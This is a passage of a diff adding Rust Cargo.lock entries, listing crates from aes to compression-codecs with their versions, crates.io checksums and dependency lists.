"b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures 0.2.17", +] + +[[package]] +name = "aes-gcm" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1" +dependencies = [ + "aead", + "aes", + "cipher", + "ctr", + "ghash", + "subtle", +] + +[[package]] +name = "ahash" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "891477e0c6a8957309ee5c45a6368af3ae14bb510732d2684ffa19af310920f9" +dependencies = [ + "getrandom 0.2.17", + "once_cell", + "version_check", +] + +[[package]] +name = "ahash" +version = "0.8.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75" +dependencies = [ + "cfg-if", + "const-random", + "getrandom 0.3.4", + "once_cell", + "version_check", + "zerocopy", +] + +[[package]] +name = "aho-corasick" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" +dependencies = [ + "memchr", +] + +[[package]] +name = "alloc-no-stdlib" +version = "2.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc7bb162ec39d46ab1ca8c77bf72e890535becd1751bb45f64c597edb4c8c6b3" + +[[package]] +name = "alloc-stdlib" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94fb8275041c72129eb51b7d0322c29b8387a0386127718b096429201a5d6ece" +dependencies = [ + "alloc-no-stdlib", +] + +[[package]] +name = "allocator-api2" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923" + +[[package]] +name = "amq-protocol" +version = "7.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "587d313f3a8b4a40f866cc84b6059fe83133bf172165ac3b583129dd211d8e1c" +dependencies = [ + "amq-protocol-tcp", + "amq-protocol-types", + "amq-protocol-uri", + "cookie-factory", + "nom 7.1.3", + "serde", +] + +[[package]] +name = "amq-protocol-tcp" +version = "7.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc707ab9aa964a85d9fc25908a3fdc486d2e619406883b3105b48bf304a8d606" +dependencies = [ + "amq-protocol-uri", + "tcp-stream", + "tracing", +] + +[[package]] +name = "amq-protocol-types" +version = "7.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf99351d92a161c61ec6ecb213bc7057f5b837dd4e64ba6cb6491358efd770c4" +dependencies = [ + "cookie-factory", + "nom 7.1.3", + "serde", + "serde_json", +] + +[[package]] +name = "amq-protocol-uri" +version = "7.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f89f8273826a676282208e5af38461a07fe939def57396af6ad5997fcf56577d" +dependencies = [ + "amq-protocol-types", + "percent-encoding", + "url", +] + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "anstream" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "824a212faf96e9acacdbd09febd34438f8f711fb84e09a8916013cd7815ca28d" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "is_terminal_polyfill", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "940b3a0ca603d1eade50a4846a2afffd5ef57a9feac2c0e2ec2e14f9ead76000" + +[[package]] +name = "anstyle-parse" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52ce7f38b242319f7cabaa6813055467063ecdc9d355bbb4ce0c68908cd8130e" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d" +dependencies = [ + "anstyle", + "once_cell_polyfill", + "windows-sys 0.61.2", +] + +[[package]] +name = "anyhow" +version = "1.0.102" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c" + +[[package]] +name = "arc-swap" +version = "1.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a3a1fd6f75306b68087b831f025c712524bcb19aad54e557b1129cfa0a2b207" +dependencies = [ + "rustversion", +] + +[[package]] +name = "argon2" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c3610892ee6e0cbce8ae2700349fcf8f98adb0dbfbee85aec3c9179d29cc072" +dependencies = [ + "base64ct", + "blake2", + "cpufeatures 0.2.17", + "password-hash", +] + +[[package]] +name = "asn1-rs" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56624a96882bb8c26d61312ae18cb45868e5a9992ea73c58e45c3101e56a1e60" +dependencies = [ + "asn1-rs-derive", + "asn1-rs-impl", + "displaydoc", + "nom 7.1.3", + "num-traits", + "rusticata-macros", + "thiserror 2.0.18", + "time", +] + +[[package]] +name = "asn1-rs-derive" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3109e49b1e4909e9db6515a30c633684d68cdeaa252f215214cb4fa1a5bfee2c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", + "synstructure", +] + +[[package]] +name = "asn1-rs-impl" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b18050c2cd6fe86c3a76584ef5e0baf286d038cda203eb6223df2cc413565f7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "assert-json-diff" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47e4f2b81832e72834d7518d8487a0396a28cc408186a2e8854c0f98011faf12" +dependencies = [ + "serde", + "serde_json", +] + +[[package]] +name = "assert_cmd" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a686bbee5efb88a82df0621b236e74d925f470e5445d3220a5648b892ec99c9" +dependencies = [ + "anstyle", + "bstr", + "libc", + "predicates", + "predicates-core", + "predicates-tree", + "wait-timeout", +] + +[[package]] +name = "async-attributes" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3203e79f4dd9bdda415ed03cf14dae5a2bf775c683a00f94e9cd1faf0f596e5" +dependencies = [ + "quote", + "syn 1.0.109", +] + +[[package]] +name = "async-channel" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81953c529336010edd6d8e358f886d9581267795c61b19475b71314bffa46d35" +dependencies = [ + "concurrent-queue", + "event-listener 2.5.3", + "futures-core", +] + +[[package]] +name = "async-channel" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "924ed96dd52d1b75e9c1a3e6275715fd320f5f9439fb5a4a11fa51f4221158d2" +dependencies = [ + "concurrent-queue", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-compression" +version = "0.4.42" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e79b3f8a79cccc2898f31920fc69f304859b3bd567490f75ebf51ae1c792a9ac" +dependencies = [ + "compression-codecs", + "compression-core", + "futures-io", + "pin-project-lite", +] + +[[package]] +name = "async-executor" +version = "1.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c96bf972d85afc50bf5ab8fe2d54d1586b4e0b46c97c50a0c9e71e2f7bcd812a" +dependencies = [ + "async-task", + "concurrent-queue", + "fastrand 2.4.1", + "futures-lite 2.6.1", + "pin-project-lite", + "slab", +] + +[[package]] +name = "async-global-executor" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05b1b633a2115cd122d73b955eadd9916c18c8f510ec9cd1686404c60ad1c29c" +dependencies = [ + "async-channel 2.5.0", + "async-executor", + "async-io 2.6.0", + "async-lock 3.4.2", + "blocking", + "futures-lite 2.6.1", + "once_cell", +] + +[[package]] +name = "async-global-executor" +version = "3.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13f937e26114b93193065fd44f507aa2e9169ad0cdabbb996920b1fe1ddea7ba" +dependencies = [ + "async-channel 2.5.0", + "async-executor", + "async-io 2.6.0", + "async-lock 3.4.2", + "blocking", + "futures-lite 2.6.1", +] + +[[package]] +name = "async-global-executor-trait" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9af57045d58eeb1f7060e7025a1631cbc6399e0a1d10ad6735b3d0ea7f8346ce" +dependencies = [ + "async-global-executor 3.1.0", + "async-trait", + "executor-trait", +] + +[[package]] +name = "async-imap" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a78dceaba06f029d8f4d7df20addd4b7370a30206e3926267ecda2915b0f3f66" +dependencies = [ + "async-channel 2.5.0", + "async-compression", + "async-std", + "base64 0.22.1", + "bytes", + "chrono", + "futures", + "imap-proto", + "log", + "nom 7.1.3", + "pin-project", + "pin-utils", + "self_cell", + "stop-token", + "thiserror 1.0.69", +] + +[[package]] +name = "async-io" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fc5b45d93ef0529756f812ca52e44c221b35341892d3dcc34132ac02f3dd2af" +dependencies = [ + "async-lock 2.8.0", + "autocfg", + "cfg-if", + "concurrent-queue", + "futures-lite 1.13.0", + "log", + "parking", + "polling 2.8.0", + "rustix 0.37.28", + "slab", + "socket2 0.4.10", + "waker-fn", +] + +[[package]] +name = "async-io" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "456b8a8feb6f42d237746d4b3e9a178494627745c3c56c6ea55d92ba50d026fc" +dependencies = [ + "autocfg", + "cfg-if", + "concurrent-queue", + "futures-io", + "futures-lite 2.6.1", + "parking", + "polling 3.11.0", + "rustix 1.1.4", + "slab", + "windows-sys 0.61.2", +] + +[[package]] +name = "async-lock" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "287272293e9d8c41773cec55e365490fe034813a2f172f502d6ddcf75b2f582b" +dependencies = [ + "event-listener 2.5.3", +] + +[[package]] +name = "async-lock" +version = "3.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f7f2596bd5b78a9fec8088ccd89180d7f9f55b94b0576823bbbdc72ee8311" +dependencies = [ + "event-listener 5.4.1", + "event-listener-strategy", + "pin-project-lite", +] + +[[package]] +name = "async-native-tls" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9343dc5acf07e79ff82d0c37899f079db3534d99f189a1837c8e549c99405bec" +dependencies = [ + "futures-util", + "native-tls", + "thiserror 1.0.69", + "url", +] + +[[package]] +name = "async-pop" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70d4a64316619f24aff5ef0b2c67986bfa2e414fa5aa3f4c86feda8f8f6f326f" +dependencies = [ + "async-native-tls", + "async-std", + "async-trait", + "base64 0.21.7", + "bytes", + "futures", + "log", + "nom 7.1.3", +] + +[[package]] +name = "async-process" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc50921ec0055cdd8a16de48773bfeec5c972598674347252c0399676be7da75" +dependencies = [ + "async-channel 2.5.0", + "async-io 2.6.0", + "async-lock 3.4.2", + "async-signal", + "async-task", + "blocking", + "cfg-if", + "event-listener 5.4.1", + "futures-lite 2.6.1", + "rustix 1.1.4", +] + +[[package]] +name = "async-reactor-trait" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a6012d170ad00de56c9ee354aef2e358359deb1ec504254e0e5a3774771de0e" +dependencies = [ + "async-io 1.13.0", + "async-trait", + "futures-core", + "reactor-trait", +] + +[[package]] +name = "async-signal" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52b5aaafa020cf5053a01f2a60e8ff5dccf550f0f77ec54a4e47285ac2bab485" +dependencies = [ + "async-io 2.6.0", + "async-lock 3.4.2", + "atomic-waker", + "cfg-if", + "futures-core", + "futures-io", + "rustix 1.1.4", + "signal-hook-registry", + "slab", + "windows-sys 0.61.2", +] + +[[package]] +name = "async-std" +version = "1.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c8e079a4ab67ae52b7403632e4618815d6db36d2a010cfe41b02c1b1578f93b" +dependencies = [ + "async-attributes", + "async-channel 1.9.0", + "async-global-executor 2.4.1", + "async-io 2.6.0", + "async-lock 3.4.2", + "async-process", + "crossbeam-utils", + "futures-channel", + "futures-core", + "futures-io", + "futures-lite 2.6.1", + "gloo-timers", + "kv-log-macro", + "log", + "memchr", + "once_cell", + "pin-project-lite", + "pin-utils", + "slab", + "wasm-bindgen-futures", +] + +[[package]] +name = "async-stream" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b5a71a6f37880a80d1d7f19efd781e4b5de42c88f0722cc13bcb6cc2cfe8476" +dependencies = [ + "async-stream-impl", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-stream-impl" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7c24de15d275a1ecfd47a380fb4d5ec9bfe0933f309ed5e705b775596a3574d" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "async-task" +version = "4.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b75356056920673b02621b35afd0f7dda9306d03c79a30f5c56c44cf256e3de" + +[[package]] +name = "async-trait" +version = "0.1.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "atoi" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f28d99ec8bfea296261ca1af174f24225171fea9664ba9003cbebee704810528" +dependencies = [ + "num-traits", +] + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "autocfg" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" + +[[package]] +name = "aws-lc-rs" +version = "1.16.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a054912289d18629dc78375ba2c3726a3afe3ff71b4edba9dedfca0e3446d1fc" +dependencies = [ + "aws-lc-sys", + "untrusted 0.7.1", + "zeroize", +] + +[[package]] +name = "aws-lc-sys" +version = "0.39.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83a25cf98105baa966497416dbd42565ce3a8cf8dbfd59803ec9ad46f3126399" +dependencies = [ + "cc", + "cmake", + "dunce", + "fs_extra", +] + +[[package]] +name = "axum" +version = "0.6.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b829e4e32b91e643de6eafe82b1d90675f5874230191a4ffbc1b336dec4d6bf" +dependencies = [ + "async-trait", + "axum-core", + "bitflags 1.3.2", + "bytes", + "futures-util", + "http 0.2.12", + "http-body 0.4.6", + "hyper 0.14.32", + "itoa", + "matchit", + "memchr", + "mime", + "percent-encoding", + "pin-project-lite", + "rustversion", + "serde", + "sync_wrapper", + "tower", + "tower-layer", + "tower-service", +] + +[[package]] +name = "axum-core" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "759fa577a247914fd3f7f76d62972792636412fbfd634cd452f6a385a74d2d2c" +dependencies = [ + "async-trait", + "bytes", + "futures-util", + "http 0.2.12", + "http-body 0.4.6", + "mime", + "rustversion", + "tower-layer", + "tower-service", +] + +[[package]] +name = "backon" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cffb0e931875b666fc4fcb20fee52e9bbd1ef836fd9e9e04ec21555f9f85f7ef" +dependencies = [ + "fastrand 2.4.1", +] + +[[package]] +name = "base16ct" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c7f02d4ea65f2c1853089ffd8d2787bdbc63de2f0d29dedbcf8ccdfa0ccd4cf" + +[[package]] +name = "base16ct" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd307490d624467aa6f74b0eabb77633d1f758a7b25f12bceb0b22e08d9726f6" + +[[package]] +name = "base64" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "base64ct" +version = "1.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06" + +[[package]] +name = "bcrypt-pbkdf" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6aeac2e1fe888769f34f05ac343bbef98b14d1ffb292ab69d4608b3abc86f2a2" +dependencies = [ + "blowfish", + "pbkdf2", + "sha2 0.10.9", +] + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "843867be96c8daad0d758b57df9392b6d8d271134fce549de6ce169ff98a92af" +dependencies = [ + "serde_core", +] + +[[package]] +name = "blake2" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46502ad458c9a52b69d4d4d32775c788b7a1b85e8bc9d482d92250fc0e3f8efe" +dependencies = [ + "digest 0.10.7", +] + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array 0.14.7", +] + +[[package]] +name = "block-buffer" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cdd35008169921d80bc60d3d0ab416eecb028c4cd653352907921d95084790be" +dependencies = [ + "hybrid-array", +] + +[[package]] +name = "block-padding" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93" +dependencies = [ + "generic-array 0.14.7", +] + +[[package]] +name = "blocking" +version = "1.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e83f8d02be6967315521be875afa792a316e28d57b5a2d401897e2a7921b7f21" +dependencies = [ + "async-channel 2.5.0", + "async-task", + "futures-io", + "futures-lite 2.6.1", + "piper", +] + +[[package]] +name = "blowfish" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e412e2cd0f2b2d93e02543ceae7917b3c70331573df19ee046bcbc35e45e87d7" +dependencies = [ + "byteorder", + "cipher", +] + +[[package]] +name = "brotli" +version = "3.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d640d25bc63c50fb1f0b545ffd80207d2e10a4c965530809b40ba3386825c391" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", + "brotli-decompressor 2.5.1", +] + +[[package]] +name = "brotli" +version = "8.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4bd8b9603c7aa97359dbd97ecf258968c95f3adddd6db2f7e7a5bef101c84560" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", + "brotli-decompressor 5.0.0", +] + +[[package]] +name = "brotli-decompressor" +version = "2.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e2e4afe60d7dd600fdd3de8d0f08c2b7ec039712e3b6137ff98b7004e82de4f" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", +] + +[[package]] +name = "brotli-decompressor" +version = "5.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "874bb8112abecc98cbd6d81ea4fa7e94fb9449648c93cc89aa40c81c24d7de03" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", +] + +[[package]] +name = "bstr" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63044e1ae8e69f3b5a92c736ca6269b8d12fa7efe39bf34ddb06d102cf0e2cab" +dependencies = [ + "memchr", + "regex-automata", + "serde", +] + +[[package]] +name = "bumpalo" +version = "3.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d20789868f4b01b2f2caec9f5c4e0213b41e3e5702a50157d699ae31ced2fcb" + +[[package]] +name = "bytecount" +version = "0.6.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "175812e0be2bccb6abe50bb8d566126198344f707e304f45c648fd8f2cc0365e" + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "1.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e748733b7cbc798e1434b6ac524f0c1ff2ab456fe201501e6497c8417a4fc33" + +[[package]] +name = "bytestring" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "113b4343b5f6617e7ad401ced8de3cc8b012e73a594347c307b90db3e9271289" +dependencies = [ + "bytes", +] + +[[package]] +name = "camino" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e629a66d692cb9ff1a1c664e41771b3dcaf961985a9774c0eb0bd1b51cf60a48" +dependencies = [ + "serde_core", +] + +[[package]] +name = "cargo-platform" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e35af189006b9c0f00a064685c727031e3ed2d8020f7ba284d78cc2671bd36ea" +dependencies = [ + "serde", +] + +[[package]] +name = "cargo_metadata" +version = "0.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4acbb09d9ee8e23699b9634375c72795d095bf268439da88562cf9b501f181fa" +dependencies = [ + "camino", + "cargo-platform", + "semver", + "serde", + "serde_json", +] + +[[package]] +name = "casbin" +version = "2.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c53f7476c2d0d9cd7ccc88c16ffc5c7889a0497b3462b10b12b5329adde69665" +dependencies = [ + "async-trait", + "fixedbitset", + "getrandom 0.3.4", + "hashlink 0.9.1", + "mini-moka", + "once_cell", + "parking_lot", + "petgraph", + "regex", + "rhai", + "serde", + "serde_json", + "slog", + "slog-async", + "slog-term", + "thiserror 1.0.69", + "tokio", + "wasm-bindgen-test", +] + +[[package]] +name = "cast" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37b2a672a2cb129a2e41c10b1224bb368f9f37a2b16b612598138befd7b37eb5" + +[[package]] +name = "cbc" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6" +dependencies = [ + "cipher", +] + +[[package]] +name = "cc" +version = "1.2.59" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7a4d3ec6524d28a329fc53654bbadc9bdd7b0431f5d65f1a56ffb28a1ee5283" +dependencies = [ + "find-msvc-tools", + "jobserver", + "libc", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "cfg_aliases" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" + +[[package]] +name = "chacha20" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures 0.2.17", +] + +[[package]] +name = "charset" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1f927b07c74ba84c7e5fe4db2baeb3e996ab2688992e39ac68ce3220a677c7e" +dependencies = [ + "base64 0.22.1", + "encoding_rs", +] + +[[package]] +name = "chrono" +version = "0.4.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c673075a2e0e5f4a1dde27ce9dee1ea4558c7ffe648f576438a20ca1d2acc4b0" +dependencies = [ + "iana-time-zone", + "js-sys", + "num-traits", + "serde", + "wasm-bindgen", + "windows-link", +] + +[[package]] +name = "chrono-tz" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93698b29de5e97ad0ae26447b344c482a7284c737d9ddc5f9e52b74a336671bb" +dependencies = [ + "chrono", + "chrono-tz-build", + "phf", +] + +[[package]] +name = "chrono-tz-build" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c088aee841df9c3041febbb73934cfc39708749bf96dc827e3359cd39ef11b1" +dependencies = [ + "parse-zoneinfo", + "phf", + "phf_codegen", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common 0.1.7", + "inout", +] + +[[package]] +name = "clap" +version = "4.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b193af5b67834b676abd72466a96c1024e6a6ad978a1f484bd90b85c94041351" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "714a53001bf66416adb0e2ef5ac857140e7dc3a0c48fb28b2f10762fc4b5069f" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim 0.11.1", + "terminal_size", +] + +[[package]] +name = "clap_complete" +version = "4.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19c9f1dde76b736e3681f28cec9d5a61299cbaae0fce80a68e43724ad56031eb" +dependencies = [ + "clap", +] + +[[package]] +name = "clap_derive" +version = "4.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1110bd8a634a1ab8cb04345d8d878267d57c3cf1b38d91b71af6686408bbca6a" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "clap_lex" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8d4a3bb8b1e0c1050499d1815f5ab16d04f0959b233085fb31653fbfc9d98f9" + +[[package]] +name = "cmake" +version = "0.1.58" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0f78a02292a74a88ac736019ab962ece0bc380e3f977bf72e376c5d78ff0678" +dependencies = [ + "cc", +] + +[[package]] +name = "cmov" +version = "0.5.0-pre.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5417da527aa9bf6a1e10a781231effd1edd3ee82f27d5f8529ac9b279babce96" + +[[package]] +name = "cms" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b77c319abfd5219629c45c34c89ba945ed3c5e49fcde9d16b6c3885f118a730" +dependencies = [ + "const-oid 0.9.6", + "der 0.7.10", + "spki 0.7.3", + "x509-cert", +] + +[[package]] +name = "colorchoice" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d07550c9036bf2ae0c684c4297d503f838287c83c53686d05370d0e139ae570" + +[[package]] +name = "colored" +version = "3.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "faf9468729b8cbcea668e36183cb69d317348c2e08e994829fb56ebfdfbaac34" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "combine" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba5a308b75df32fe02788e748662718f03fde005016435c444eea572398219fd" +dependencies = [ + "bytes", + "futures-core", + "memchr", + "pin-project-lite", + "tokio", + "tokio-util", +] + +[[package]] +name = "compression-codecs" +version = "0.4.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce2548391e9c1929c21bf6aa2680af86fe4c1b33e6cea9ac1cfeec0bd11218cf" +dependencies = [ + 